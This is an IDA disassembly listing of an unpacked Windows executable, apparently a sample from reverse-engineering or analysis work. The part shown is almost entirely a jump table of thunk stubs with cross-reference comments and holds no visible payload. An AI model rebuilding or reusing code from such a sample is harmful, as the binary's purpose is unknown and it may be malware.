;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : B9C7F08A5708A8AE25D53C061CA01597
; File Name : u:\work\b9c7f08a5708a8ae25d53c061ca01597_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 00110000 (1114112.)
; Section size in file : 00110000 (1114112.)
; Offset to raw data for section: 00001000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
___ segment para public 'CODE' use32
assume cs:___
;org 401000h
assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
db 5 dup(0CCh)
; ---------------------------------------------------------------------------
jmp loc_42F630
; ---------------------------------------------------------------------------
loc_40100A: ; DATA XREF: ___:off_43E09Co
jmp loc_412CB0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40100F proc near ; CODE XREF: sub_421AF0+29p
jmp sub_422050
sub_40100F endp
; ---------------------------------------------------------------------------
jmp loc_431250
; ---------------------------------------------------------------------------
jmp loc_420DA0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40101E proc near ; CODE XREF: ___:004118E3p
jmp sub_411910
sub_40101E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401023 proc near ; CODE XREF: ___:0040B1BDp
; ___:0040B1CAp ...
jmp sub_403C00
sub_401023 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401028 proc near ; CODE XREF: sub_41FA90+34p
jmp sub_40B000
sub_401028 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40102D proc near ; CODE XREF: sub_404C70+619p
; sub_404C70+6D8p ...
jmp sub_40A030
sub_40102D endp
; ---------------------------------------------------------------------------
jmp sub_42A100
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401037 proc near ; CODE XREF: sub_413510+3Bp
; ___:00414B30p
jmp sub_4155E0
sub_401037 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40103C proc near ; CODE XREF: sub_42F840+6Ep
; sub_42F840+8Ap ...
jmp sub_432FE0
sub_40103C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401041 proc near ; CODE XREF: ___:0042EF22p
; sub_42F840+3Fp ...
jmp sub_432E60
sub_401041 endp
; ---------------------------------------------------------------------------
jmp loc_423940
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40104B proc near
jmp sub_40D130
sub_40104B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401050 proc near ; CODE XREF: sub_40B000+3Ap
; sub_40B070+1Ap
jmp sub_432980
sub_401050 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401055 proc near ; CODE XREF: sub_41E660+37Bp
jmp sub_421C30
sub_401055 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40105A proc near ; CODE XREF: sub_40C0C0+8p
jmp sub_40C280
sub_40105A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40105F proc near ; CODE XREF: sub_431900+5Ap
; sub_433710+50p
jmp sub_4318C0
sub_40105F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401064 proc near ; DATA XREF: ___:off_43E07Co
jmp sub_41C610
sub_401064 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401069 proc near ; CODE XREF: ___:00416EAAp
jmp sub_41FBD0
sub_401069 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40106E proc near ; CODE XREF: sub_40BF60+32p
jmp sub_40C120
sub_40106E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401073 proc near ; CODE XREF: ___:00416EBAp
jmp sub_418290
sub_401073 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401078 proc near ; CODE XREF: sub_415830+5Ep
; sub_416280+32p
jmp sub_4161C0
sub_401078 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40107D proc near ; CODE XREF: sub_41E660+161p
; sub_4223E0+3p
jmp sub_421A50
sub_40107D endp
; ---------------------------------------------------------------------------
jmp loc_41ACE0
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40108C proc near ; CODE XREF: sub_421C30+3p
; ___:00421FFFp ...
jmp sub_422170
sub_40108C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401091 proc near ; CODE XREF: sub_40C400+43p
jmp sub_40CAD0
sub_401091 endp
; ---------------------------------------------------------------------------
jmp sub_427FF0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40109B proc near ; CODE XREF: sub_407570+Ap
jmp sub_407610
sub_40109B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010A0 proc near ; CODE XREF: sub_4245F0+23p
; sub_424790+6p ...
jmp sub_424500
sub_4010A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010A5 proc near ; CODE XREF: sub_430C00+F5p
; sub_430C00+14Fp
jmp sub_432DF0
sub_4010A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010AA proc near ; CODE XREF: sub_4331D0+C8p
jmp sub_430990
sub_4010AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010AF proc near ; DATA XREF: ___:0043E174o
jmp sub_429DC0
sub_4010AF endp
; ---------------------------------------------------------------------------
loc_4010B4: ; DATA XREF: ___:off_43E0A0o
jmp loc_41E2C0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010B9 proc near ; CODE XREF: sub_418330+D0p
; sub_418490+2Dp
jmp sub_418A20
sub_4010B9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010BE proc near ; CODE XREF: sub_40FF60+8D9p
; sub_40FF60+990p ...
jmp sub_411860
sub_4010BE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010C3 proc near ; CODE XREF: ___:0042F336p
; ___:0042F3A4p ...
jmp sub_430F00
sub_4010C3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010C8 proc near ; CODE XREF: sub_421D50+9p
; sub_422240+18p
jmp sub_4223C0
sub_4010C8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010CD proc near ; CODE XREF: sub_40A9F0+58p
; sub_40A9F0+82p ...
jmp sub_40ABE0
sub_4010CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010D2 proc near ; CODE XREF: sub_422A40+3F1p
; ___:00423AA6p ...
jmp sub_419AE0
sub_4010D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4010D7 proc near ; CODE XREF: sub_416010+7p
jmp sub_416640
sub_4010D7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010DC proc near ; CODE XREF: sub_415520+4Fp
; sub_415E70+11p ...
jmp sub_4160C0
sub_4010DC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010E1 proc near ; CODE XREF: sub_429C30+58p
jmp sub_429AA0
sub_4010E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4010E6 proc near ; CODE XREF: sub_421870+1Fp
jmp sub_421CB0
sub_4010E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010EB proc near ; CODE XREF: sub_421FB0+11p
; ___:00421FD7p ...
jmp sub_4224D0
sub_4010EB endp
; ---------------------------------------------------------------------------
jmp loc_413D60
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010F5 proc near ; CODE XREF: sub_421A30+3p
; ___:00421D9Fp ...
jmp sub_421F10
sub_4010F5 endp
; ---------------------------------------------------------------------------
jmp loc_414400
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010FF proc near ; CODE XREF: sub_426F20+3p
jmp sub_426F50
sub_4010FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401104 proc near ; CODE XREF: sub_415A00+11p
; ___:00415A27p ...
jmp sub_416470
sub_401104 endp
; ---------------------------------------------------------------------------
jmp loc_433310
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40110E proc near ; CODE XREF: sub_421B60+5p
; sub_421C50+6p ...
jmp sub_422150
sub_40110E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401113 proc near ; CODE XREF: ___:00416A5Bp
; ___:00439F5Ej ...
jmp sub_417A60
sub_401113 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401118 proc near ; CODE XREF: sub_404C70+6Ap
; sub_404C70+1AFp ...
jmp sub_412970
sub_401118 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40111D proc near ; DATA XREF: ___:off_43E074o
jmp sub_4192C0
sub_40111D endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401122 proc near ; CODE XREF: sub_431A20+6p
; ___:00431A33p ...
jmp sub_42F480
sub_401122 endp
; ---------------------------------------------------------------------------
jmp loc_42E3D0
; ---------------------------------------------------------------------------
loc_40112C: ; DATA XREF: ___:off_43E15Co
jmp loc_429A30
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401131 proc near ; CODE XREF: ___:00423C9Dp
jmp sub_423760
sub_401131 endp
; ---------------------------------------------------------------------------
jmp loc_431F50
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40113B proc near ; CODE XREF: ___:004150A8p
jmp sub_415990
sub_40113B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401140 proc near ; CODE XREF: sub_41B950+F7p
; sub_41B950+10Bp ...
jmp sub_409EA0
sub_401140 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401145 proc near ; CODE XREF: sub_409910+Ap
jmp sub_409A00
sub_401145 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40114A proc near ; CODE XREF: sub_4133D0+55p
; sub_4133D0+94p ...
jmp sub_415770
sub_40114A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40114F proc near ; CODE XREF: sub_425020+183p
jmp sub_4235F0
sub_40114F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401154 proc near ; CODE XREF: ___:00414BBEp
jmp sub_415520
sub_401154 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401159 proc near ; CODE XREF: sub_427600+3p
jmp sub_427630
sub_401159 endp
; ---------------------------------------------------------------------------
loc_40115E: ; DATA XREF: ___:off_43E038o
jmp loc_4118E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401163 proc near ; CODE XREF: sub_415DD0+11p
; ___:00415DF7p ...
jmp sub_4165F0
sub_401163 endp
; ---------------------------------------------------------------------------
jmp loc_41D730
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40116D proc near ; CODE XREF: sub_418B10+23p
; sub_418D80+11p
jmp sub_418E60
sub_40116D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401172 proc near ; CODE XREF: sub_418A90+3p
; sub_418E90+54p ...
jmp sub_418CE0
sub_401172 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401177 proc near ; CODE XREF: sub_409600+6Ap
; sub_409600+103p
jmp sub_4098A0
sub_401177 endp
; ---------------------------------------------------------------------------
jmp loc_432840
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401181 proc near ; CODE XREF: ___:00413D7Dp
jmp sub_413B70
sub_401181 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401186 proc near ; CODE XREF: ___:0041A1E4p
jmp sub_41AFE0
sub_401186 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40118B proc near ; CODE XREF: sub_4133D0+88p
; sub_4147D0+BFp ...
jmp sub_415930
sub_40118B endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401190 proc near ; CODE XREF: sub_42F480+7p
; sub_42F4F0+19p ...
jmp sub_4338B0
sub_401190 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401195 proc near
jmp sub_40DB10
sub_401195 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40119A proc near ; CODE XREF: ___:004310AAp
jmp sub_430A50
sub_40119A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40119F proc near ; CODE XREF: sub_4071E0+11p
; sub_407370+1Fp
jmp sub_407410
sub_40119F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011A4 proc near ; CODE XREF: sub_4036D0+3B5p
; sub_4036D0+3C5p ...
jmp sub_403E00
sub_4011A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011A9 proc near ; CODE XREF: sub_421C10+3p
jmp sub_422190
sub_4011A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011AE proc near ; CODE XREF: sub_40C250+Ap
jmp sub_40C310
sub_4011AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011B3 proc near ; CODE XREF: sub_4036D0+1Dp
; sub_407030+1Fp ...
jmp sub_403C70
sub_4011B3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4011B8 proc near ; CODE XREF: ___:00413274p
; ___:0043998Cj ...
jmp sub_4153B0
sub_4011B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011BD proc near ; CODE XREF: sub_42B350+3p
jmp sub_42B380
sub_4011BD endp
; ---------------------------------------------------------------------------
jmp loc_40AF00
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4011C7 proc near ; CODE XREF: ___:00414BCDp
jmp sub_414C70
sub_4011C7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011CC proc near ; CODE XREF: sub_407610+7p
; sub_409A00+7p ...
jmp sub_407640
sub_4011CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011D1 proc near ; CODE XREF: sub_413510+73p
; ___:00414B6Dp ...
jmp sub_415600
sub_4011D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011D6 proc near ; CODE XREF: sub_41E660+58p
jmp sub_420530
sub_4011D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011DB proc near ; CODE XREF: sub_413DA0+84p
jmp sub_4137E0
sub_4011DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011E0 proc near ; CODE XREF: ___:00432428p
jmp sub_42FD70
sub_4011E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011E5 proc near ; CODE XREF: sub_4074C0+8p
jmp sub_4075A0
sub_4011E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011EA proc near ; CODE XREF: sub_404C70+9Fp
; sub_404C70+230p ...
jmp sub_40A430
sub_4011EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4011EF proc near ; CODE XREF: sub_40A790+21p
; sub_40A9F0+A5p
jmp sub_40A9D0
sub_4011EF endp
; ---------------------------------------------------------------------------
jmp loc_40AF70
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011F9 proc near ; CODE XREF: sub_40A430+129p
; sub_40A810+4p ...
jmp sub_40A7E0
sub_4011F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011FE proc near ; DATA XREF: ___:off_43E0DCo
jmp sub_426650
sub_4011FE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401203 proc near ; CODE XREF: ___:004322BDp
jmp sub_42FA70
sub_401203 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401208 proc near ; CODE XREF: sub_4072F0+3p
; ___:004073BFp ...
jmp sub_407480
sub_401208 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40120D proc near ; CODE XREF: sub_41D830+346p
; sub_41D830+410p ...
jmp sub_421870
sub_40120D endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401212 proc near ; CODE XREF: sub_421AB0+11p
; sub_421FB0+1Fp
jmp sub_4220E0
sub_401212 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401217 proc near ; CODE XREF: sub_42B4F0+3p
jmp sub_42B520
sub_401217 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40121C proc near
jmp sub_407790
sub_40121C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401221 proc near ; CODE XREF: sub_40C120+5Fp
jmp sub_40C2F0
sub_401221 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401226 proc near ; CODE XREF: sub_4034E0+F6p
; sub_4034E0+12Ep ...
jmp sub_409C30
sub_401226 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40122B proc near ; CODE XREF: sub_41E660+113p
; sub_41E660+124p
jmp sub_421A30
sub_40122B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401230 proc near ; DATA XREF: ___:0043E060o
jmp sub_41F860
sub_401230 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401235 proc near ; CODE XREF: ___:00416AFBp
; ___:00439ED2j ...
jmp sub_4176B0
sub_401235 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40123A proc near ; CODE XREF: sub_40AEC0+Fp
jmp sub_42FF50
sub_40123A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40123F proc near ; CODE XREF: sub_418B10+32p
jmp sub_418D80
sub_40123F endp
; ---------------------------------------------------------------------------
jmp loc_433570
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401249 proc near ; CODE XREF: sub_415420+5p
; sub_415620+6p ...
jmp sub_416030
sub_401249 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40124E proc near ; CODE XREF: sub_40BCB0+29p
; sub_40BDD0+29p
jmp sub_40BF60
sub_40124E endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401253 proc near ; CODE XREF: sub_41E660+3E9p
; ___:0043B1ABj
jmp sub_421AF0
sub_401253 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401258 proc near ; CODE XREF: sub_4144D0+BFp
jmp sub_415210
sub_401258 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40125D proc near ; CODE XREF: sub_4164E0+Ap
jmp sub_416820
sub_40125D endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401262 proc near ; CODE XREF: ___:00416B67p
; ___:00439E73j ...
jmp sub_416FB0
sub_401262 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401267 proc near
jmp sub_418330
sub_401267 endp
; ---------------------------------------------------------------------------
jmp sub_416C30
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401271 proc near ; CODE XREF: ___:00416E1Fp
jmp sub_417FD0
sub_401271 endp
; ---------------------------------------------------------------------------
jmp loc_414690
; ---------------------------------------------------------------------------
jmp loc_42F030
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401280 proc near ; CODE XREF: sub_40FF60+387p
; sub_41EF30+21Dp ...
jmp sub_41B6E0
sub_401280 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401285 proc near ; CODE XREF: ___:00416E5Ap
jmp sub_418180
sub_401285 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40128A proc near ; CODE XREF: sub_409490+8p
jmp sub_4094E0
sub_40128A endp
; ---------------------------------------------------------------------------
jmp loc_429A30
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401294 proc near ; CODE XREF: sub_409600+A5p
; sub_412BC0+21p
jmp sub_409810
sub_401294 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401299 proc near ; CODE XREF: sub_404C70+385p
; sub_41D830+5AAp
jmp sub_41C030
sub_401299 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40129E proc near ; CODE XREF: ___:00416D6Fp
jmp sub_4036D0
sub_40129E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012A3 proc near ; CODE XREF: sub_418BC0+23p
; sub_418E90+11p
jmp sub_418FE0
sub_4012A3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012A8 proc near ; CODE XREF: sub_424840+Cp
; sub_424840+3Ep ...
jmp sub_424330
sub_4012A8 endp
; ---------------------------------------------------------------------------
jmp loc_42F670
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012B2 proc near ; CODE XREF: sub_404C70+860p
; sub_404C70+ADCp ...
jmp sub_40A290
sub_4012B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012B7 proc near ; CODE XREF: ___:0042EB16p
; ___:0042EB66p ...
jmp sub_431490
sub_4012B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012BC proc near ; CODE XREF: sub_41E660+367p
; sub_41E660+3D4p ...
jmp sub_421C80
sub_4012BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012C1 proc near ; DATA XREF: sub_426A60+107o
jmp sub_426CE0
sub_4012C1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012C6 proc near ; CODE XREF: sub_424720+18p
; sub_424760+Ap ...
jmp sub_4246D0
sub_4012C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012CB proc near ; CODE XREF: sub_416120+9p
; sub_4161C0+18p
jmp sub_4167D0
sub_4012CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012D0 proc near ; DATA XREF: sub_431280+32o
jmp sub_431A80
sub_4012D0 endp
; ---------------------------------------------------------------------------
jmp loc_42EB60
; ---------------------------------------------------------------------------
jmp loc_419BB0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012DF proc near ; CODE XREF: sub_429AA0+67p
jmp sub_41FEF0
sub_4012DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4012E4 proc near ; CODE XREF: ___:0042EEF8p
; sub_42F0B0+2p ...
jmp sub_430270
sub_4012E4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012E9 proc near ; CODE XREF: sub_413670+3Fp
; sub_4144D0+40p ...
jmp sub_415160
sub_4012E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012EE proc near ; CODE XREF: sub_404640+19Fp
; sub_404640+212p ...
jmp sub_409EF0
sub_4012EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012F3 proc near ; CODE XREF: sub_424E90+B5p
; sub_424E90+F1p
jmp sub_424E20
sub_4012F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012F8 proc near ; CODE XREF: sub_425020+127p
jmp sub_424E90
sub_4012F8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012FD proc near ; CODE XREF: ___:00416E3Ap
jmp sub_418080
sub_4012FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401302 proc near ; CODE XREF: ___:00416E0Fp
jmp sub_417F10
sub_401302 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401307 proc near ; CODE XREF: sub_4303D0+1p
jmp sub_430460
sub_401307 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40130C proc near ; CODE XREF: ___:00425F11p
jmp sub_426450
sub_40130C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401311 proc near ; CODE XREF: sub_418330+71p
; sub_418330+BBp ...
jmp sub_4189F0
sub_401311 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401316 proc near ; CODE XREF: sub_40A0A0+7p
jmp sub_40A0C0
sub_401316 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40131B proc near ; CODE XREF: ___:004316D8p
; sub_431730+2Bp
jmp sub_431900
sub_40131B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401320 proc near ; CODE XREF: sub_431280+1p
jmp sub_4314C0
sub_401320 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401325 proc near ; CODE XREF: sub_4207E0+37Bp
jmp sub_421BD0
sub_401325 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40132A proc near ; CODE XREF: sub_414360+5Bp
jmp sub_415030
sub_40132A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40132F proc near ; CODE XREF: sub_4153B0+29p
; sub_4154D0+29p
jmp sub_415F30
sub_40132F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401334 proc near ; CODE XREF: ___:00435F42p
; ___:00435F52p ...
jmp sub_435E00
sub_401334 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401339 proc near ; CODE XREF: sub_4133D0+5Fp
; sub_4133D0+9Ep ...
jmp sub_415960
sub_401339 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40133E proc near ; CODE XREF: sub_40B520+62p
; ___:0040B9E8p ...
jmp sub_40BE60
sub_40133E endp
; ---------------------------------------------------------------------------
jmp loc_4300C0
; ---------------------------------------------------------------------------
jmp loc_42EC40
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40134D proc near ; DATA XREF: ___:0043E1A8o
jmp sub_42B3A0
sub_40134D endp
; ---------------------------------------------------------------------------
jmp loc_42B2E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401357 proc near ; CODE XREF: sub_416090+8p
jmp sub_4166B0
sub_401357 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40135C proc near ; CODE XREF: sub_4133D0+71p
; sub_4133D0:loc_41349Cp ...
jmp sub_415910
sub_40135C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401361 proc near ; CODE XREF: sub_418330+AFp
; sub_418FE0+3p
jmp sub_418AB0
sub_401361 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401366 proc near ; DATA XREF: ___:0043E104o
jmp sub_426A60
sub_401366 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40136B proc near ; CODE XREF: sub_40B520+39p
; sub_40B520+78p ...
jmp sub_40BE90
sub_40136B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401370 proc near ; CODE XREF: sub_4257A0+29p
; sub_4257A0+38p
jmp sub_4256B0
sub_401370 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401375 proc near ; CODE XREF: sub_41A500+1Cp
jmp sub_41A540
sub_401375 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40137A proc near ; DATA XREF: ___:0043E164o
jmp sub_429C30
sub_40137A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40137F proc near ; CODE XREF: ___:00408BE6p
; ___:00414481p
jmp sub_414230
sub_40137F endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401384 proc near ; CODE XREF: sub_418490+72p
jmp sub_406C30
sub_401384 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401389 proc near ; CODE XREF: sub_409D20+7p
; sub_409E70+7p ...
jmp sub_40A700
sub_401389 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40138E proc near ; DATA XREF: ___:off_43E080o
jmp sub_422A40
sub_40138E endp
; ---------------------------------------------------------------------------
jmp loc_413AE0
; ---------------------------------------------------------------------------
jmp sub_42B350
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40139D proc near ; CODE XREF: sub_418900+11p
; sub_421CB0+1Fp
jmp sub_418C50
sub_40139D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B2D0
loc_4013A2: ; CODE XREF: sub_42B2D0+3j
jmp sub_42A810
; END OF FUNCTION CHUNK FOR sub_42B2D0
; ---------------------------------------------------------------------------
jmp sub_42B4F0
; ---------------------------------------------------------------------------
jmp loc_42EBB0
; ---------------------------------------------------------------------------
jmp loc_414A60
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4013B6 proc near ; CODE XREF: sub_407290+1Fp
jmp sub_407370
sub_4013B6 endp
; ---------------------------------------------------------------------------
jmp loc_42E7B0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4013C0 proc near ; CODE XREF: sub_40FD70+3p
; ___:00416AEBp ...
jmp sub_40FDA0
sub_4013C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4013C5 proc near ; CODE XREF: sub_425270+Cp
; sub_4253E0+Ap ...
jmp sub_425230
sub_4013C5 endp
; ---------------------------------------------------------------------------
